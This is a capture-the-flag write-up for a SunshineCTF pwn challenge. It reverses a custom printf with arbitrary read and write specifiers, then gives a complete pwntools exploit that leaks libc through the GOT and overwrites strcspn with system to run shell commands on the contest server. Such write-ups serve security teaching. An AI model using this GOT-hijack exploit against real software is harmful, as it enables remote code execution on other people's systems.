$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: no-PIE stripped x86-64 binary with a hand-rolled printf exposing custom %N$s read and %N$w write-what-where specifiers. Solution: leak GOT[read] to resolve libc, overwrite GOT[strcspn] with system via the write primitive, so the next input line runs as system(buf) for RCE.
The arcade's score printer has been spitting out strange tickets all week. Step up to the renderer and see what it's really printing.
Files: binary
revolution+nc chal.sunshinectf.games 26002
English summary: A stripped x86-64 binary reads a "score card template" line in a loop and renders it through a custom renderer. The goal is to abuse the renderer to gain code execution on the remote host and read the flag (sun{...}).
0x400000), Partial RELRO (GOT writable), no stack canary, NX enabled.write, read, strlen, strcspn, setvbuf. Crucially there is no printf/puts/system imported — the program ships its own printf. This is the theme's giveaway (a "renderer/printer" that is not the standard library one).Enter your score card template:.score> ,read(0, buf, 0x1ff) into a 0x200 stack buffer,buf[strcspn(buf, "\n")] = 0,custom_printf(buf),\n.The function emulates the System V AMD64 va_list: gp_offset starts at 8 (skips rdi=fmt, begins at rsi), reg_save_area holds rsi,rdx,rcx,r8,r9, and overflow_arg_area points at the caller stack. A helper (fcn.004012c0) fetches an argument by positional index. Reversing the dispatch reveals these specifiers:
%% → literal %%N$s → arbitrary read: fetch arg N as a pointer, strlen()+write() it (leak memory as a C-string).%N$w → arbitrary write (write-what-where): fetch arg N as address, arg N+1 as value, then *(uint64_t*)addr = value (the tell in disassembly is mov qword [r8], rax), prints ok.%N$p / %N$x → hex leak of arg N.Positional %<decimal>$<spec> parsing is supported.
Determined empirically with %p chains: because the printf's overflow-arg-area overlaps the input buffer on main's stack, argument index N maps to input-buffer offset (N-6)*8. So arg6 = offset 0, arg9 = offset 24, arg10 = offset 32.
Practical primitives (24-byte format prefix, then controlled qwords):
READ: b"%9$s".ljust(24, b"A") + p64(addr) # arg9 = addr @ off24
WRITE: b"%9$w".ljust(24, b"A") + p64(addr) + p64(value) # arg9=addr, arg10=value
GOT layout (from relocations, fixed because No PIE):
write@0x404000 strlen@0x404008 strcspn@0x404010 read@0x404018 setvbuf@0x404020
Chain:
%9$s reads GOT[read] (0x404018) → a libc address of read.read, setvbuf) to a libc database (libc.rip). Remote libc = glibc 2.39-0ubuntu8; offsets read=0x11ba50, system=0x58740. Compute libc_base = leaked_read - read_off, system = libc_base + system_off.%9$w overwrites GOT[strcspn] (0x404010) with system.strcspn(buf, "\n"), which is now system(buf). Send a line that is a shell command (cat flag*); its stdout returns over the connection.strcspn is the ideal target: main invokes strcspn(buf, ...) on attacker-controlled buf every loop, so a single overwrite turns the next input directly into a command string — no second stage needed.
#!/usr/bin/env python3 from pwn import * context.arch = "amd64" GOT_STRCSPN = 0x404010 GOT_READ = 0x404018 io = remote("chal.sunshinectf.games", 26002) io.recv(timeout=2) # banner + first prompt def leak(addr): io.sendline(b"%9$s".ljust(24, b"A") + p64(addr)) return io.recv(timeout=2).split(b"AAAA")[0] def write64(addr, value): io.sendline(b"%9$w".ljust(24, b"A") + p64(addr) + p64(value)) io.recv(timeout=2) # 1) leak GOT[read] -> libc read_libc = u64(leak(GOT_READ).ljust(8, b"\x00")) log.info("GOT[read] = %#x", read_libc) # 2) resolve system with remote glibc 2.39-0ubuntu8 offsets READ_OFF = 0x11ba50 SYSTEM_OFF = 0x58740 libc_base = read_libc - READ_OFF system = libc_base + SYSTEM_OFF log.info("libc base = %#x system = %#x", libc_base, system) # 3) hijack strcspn -> system write64(GOT_STRCSPN, system) # 4) next line executes as system(buf) io.sendline(b"cat flag*") io.interactive() # flag: sun{REDACTED}
Use this technique when:
printf/puts/system imported but the program clearly formats output — it hand-rolls its own formatter; enumerate its custom specifiers by reversing the dispatch function instead of assuming libc printf semantics.%N$s) and/or a non-standard write specifier — spot mov qword [reg], rax in the dispatch for a write-what-where.strcspn) is called on attacker-controlled input every loop — overwriting its GOT entry with system turns the next input line straight into system(buf).%p chains before building read/write primitives.--platform linux/amd64 Docker container with pwntools.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar